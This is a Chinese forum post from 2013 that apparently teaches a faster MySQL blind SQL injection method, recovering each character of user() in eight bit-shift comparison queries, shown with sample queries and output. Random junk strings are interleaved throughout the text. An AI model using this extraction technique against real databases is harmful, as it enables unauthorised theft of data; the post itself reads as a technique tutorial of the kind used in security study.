找回密码
 立即注册
查看: 2770|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
# w2 A3 b3 b: U9 E& R, \: R  h6 \- g% \$ D& e

6 F% d+ i: Z3 E( R, h, ?0 \$ a& ?, W: n; n5 B9 Y
下面将以查询mysql数据库当中user()的第一位为例:4 \: F7 i  M0 F3 R1 V% |
+ O, x1 h& T1 h9 u$ U8 a

1 _2 }/ s% d. w7 S
. Z* {4 O/ Z* P5 t8 S+ Gps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)9 x8 N. Q: A* N0 X$ ~+ ^& `

- p' N* B+ x' c1 T ; S$ I! m) H  E& N
, \( X7 i- ~" b' u; s# @  S7 _
首先执行如下sql语句:, U& R4 [8 u, V) P

! ]" J: j+ M1 _4 g' ~% R3 A) j; K4 W; i
! ~. W0 J# \! d- c2 `
: f& O6 \, C6 t2 ]: e$ amysql> select (ascii((substr(user(),1,1))) >> 7)=0;
) A. \& _' a, x' o5 ~' ~. T+ j! Q! \' D
7 o% E+ u; W* j( K+ k: o9 J, h

  U" t- K. M, \: |我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的' H# M/ Z* q0 e  r+ q) W: H

8 K. ^8 @; ~9 I) @1 m/ ] & F( S/ y( O% i3 v

! `- h& A) \: h2 J. ^3 I2 X6 _第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
4 W3 ]8 V* s8 X' j) G8 f. D7 \2 c. c4 w' ^% E" G

3 O/ \) d7 h5 A! m/ \* T$ Y( P- j" y  ?% ~# `3 @2 _
如果运算结果为1,说明第一位为0,不为1
( w& u+ ?' Q2 J5 U
& u( w4 {! X. a! D! M/ k. G8 l- c
& _5 e# y7 v6 s8 `7 s3 g0 Q8 U
) I9 K7 L; s: {; ~8 t$ u+————————————–+8 v# Q0 k/ V1 n  q
/ v5 O$ T/ d; _' \. ~$ V. B
| (ascii((substr(user(),1,1))) >> 7)=0 |* T& o/ @$ b3 z* ]) M' k

8 }+ ^. @* r1 r( Q' Y. {+————————————–+7 ?( N* k- @- P8 v7 x9 X4 o
$ X% i! y; v$ j+ d$ N
| 1 |
6 n# k. N5 l+ [7 c, H# ~+ b/ F: `5 Z6 H+ p
+————————————–+* N, ~7 M- l7 k2 k; u9 t- s
- a7 `6 _) t* L9 P  ~  V7 _5 R, ^
1 row in set (0.00 sec)
- |4 n" @( e! n, z/ i5 E
, k6 a, q& q5 e1 I; d这样我们就确定这个8bit的ascii的第一位为0
! K* Z" V5 y  P7 T' K, \+ h2 s7 g0 Y5 y) L& c2 l0 P6 o  Y. e- h3 ]

. p5 \4 x: R7 N
; N  D' |6 H; e9 c第二次我们来做6次右偏移来确定前两位( _& n: c$ y  L1 ~1 O9 v  F8 h
" i, i- j1 v! o% Y& Z

7 z( ]' F" P. p# g; |, D# F3 d1 U6 P# c: N
前两位可能是01或00,即依然可以与0做比较,
  U: R# v% ]7 ^$ l
& l8 C& r. {" n! i/ gmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
1 K; C1 J- E6 i  ]# P+ h5 w8 P, J; t* N4 u
+————————————–+
7 W0 l6 u& r+ T) P* H  _& k
" A1 `( O) v8 y. L| (ascii((substr(user(),1,1))) >> 6)=0 |
$ }5 I. z5 C5 n# Y. I" J5 m' m: C: W! u9 R  `8 e
+————————————–+. ]. G+ S4 T3 s! p+ _9 c

6 L* |0 f8 S5 i1 y' p' d6 ]| 0 |6 R& N3 ^4 z. r! ?/ U
0 Y7 W7 j' b# L# A9 t2 y
+————————————–+
1 Y0 s; O1 V" z; V' j6 J2 B/ K2 V2 U; \7 H
1 row in set (0.00 sec)
. U  d+ C7 Q1 B' R. z' f
$ Y2 W6 g' R1 M$ o8 w$ S
* u6 U# ^6 n% h, K# d# |" i! J) B# {8 A, F! c- M, `  n: f
结果为0,即第二位为1
3 E0 x. P, n4 C0 m. w1 S7 `+ c) n0 A7 F' D# h1 U/ A0 K( n
  e+ W' Z* t! I9 _, F
; L) f$ e7 }6 o! K! G( a
开始猜测前三位为010或011
' C/ Q, V+ y2 I2 ~& |% T' p0 W9 P! o" c" U1 n! F6 U" q8 w) q9 r# S* P
: g* z8 A( w) ~3 T: i/ o5 E4 Q

# z$ D' A; c& b0 v让我们看看010和011的ascii码是多少
' P& Z' f! E8 c0 f9 U
8 \  \( n- `/ W
9 a# e1 [6 e+ W) B5 H& b
7 ?; T' n  ]% j0 U分别查询select b’011′ select b’010′1 S" w- b& n; V8 T5 D$ z$ j' m" E6 J

' M* [. \( n# @& X- C6 u! X 7 f( i5 O1 G% O( f* b
1 Q/ m# Q# p4 c/ T2 D
获得结果 010 = 2 011 = 3! t" S8 k- N, I

* V8 z- C7 E/ {: s/ n0 T 0 s  ~+ ~/ c4 o# T% U! g7 e  {

. Q* J9 ]6 A) m, r+ `, X执行如下sql:2 ]5 e6 s2 T  }  a- z
! k( q2 O8 f; f

! r" A$ r8 d) z. [5 t9 R' |, M5 K( f
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
7 ?0 w6 \: L# m$ S7 z6 E0 H  z: X9 o  z
+————————————–++ C5 _6 b5 U8 ?4 ~/ g8 l( A! z
; j/ F/ B, u, g  \& {/ h
| (ascii((substr(user(),1,1))) >> 5)=2 |
) r3 F9 a0 v& d
0 r; G/ e- O' {! D$ y+————————————–+! Q" U4 Z$ X5 ]+ R  C" e
0 f$ D8 J2 F* q
| 0 |
/ g- A) ?$ r5 o6 x( C
2 I6 t6 i& j6 k$ u+————————————–+0 c* V/ |, O7 }. V" V5 \
- Q0 H, ?; a1 p* k6 e$ Q
即前三位不为010,而是011
3 |5 i0 D& v: ]* ^5 q* K* d+ g8 w& C8 u$ H8 a9 L3 D

$ z  d! w  z2 f
9 F2 m. |' `) |4 I: \直到获得最后一位
3 C4 F$ F( M: C! _$ ^1 t
! |9 ~  ]; L( ?+ p # U% L5 h5 L0 ^- s3 v4 _! u
2 y' |- v; f3 Y
最终结果为:01110010
7 O0 l; ?7 w; k5 g2 S8 T  E6 K; Y0 `( b- {0 n) u; D

: w: N, i6 Z! g8 {2 N# E( b0 \6 R: t* C, H2 R. o
转换一下:" M) c0 ]) {% l* Z! ^& Q
: z5 ?9 x$ a; \+ K

5 X/ J1 x0 d, z+ I; X' |( Q6 U2 E; Z& C4 w5 j/ e. U
select b’01110010′% b/ g$ ]9 V0 q. W
& t+ P! T' G* ]( |* z

& x3 m3 M, J7 A9 R, V0 n+ ?
1 S) u9 F4 z' d2 Q6 s1 D9 v+ Q+ S9 Z查询结果
9 ]- v! [3 u8 s' \  @! \
, Q7 J4 U. l% r+ r9 d+ i5 {6 ]3 w
; F' F2 r) x1 J% z- e8 y
% H  y1 A8 i) Z; ]+————-+
% w# W; z. [$ Q( [1 P% s3 j5 {/ O2 x' x: r3 M% p
| b’01110010′ |
% `4 j' M# f; ]- h' H( j
+ o1 i8 n1 a1 I! l+————-+
* c! O( z3 ~' b, C& s' {
2 R* P6 A2 j) f$ n7 W' R8 G| r |: \2 _4 X0 V) F8 H

: E, w9 o+ C* H! c- H& I+————-+$ h; v* L/ W( E/ O# y& r

2 H& p/ c# j% _2 P9 f; r1 row in set (0.00 sec)  _* ]1 j! z- t6 _

8 b0 i* K% q+ C, [, \0 D5 t ) a- F) U# N  Q  }& _

/ j- V% t0 W( r8 P/ _这样我们就获得了user()的第一位.其它位依此类推
5 y+ y* ?$ X# g% ^; m/ K9 J
) f% {- Q- H2 E* N# G' y5 f2 N4 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表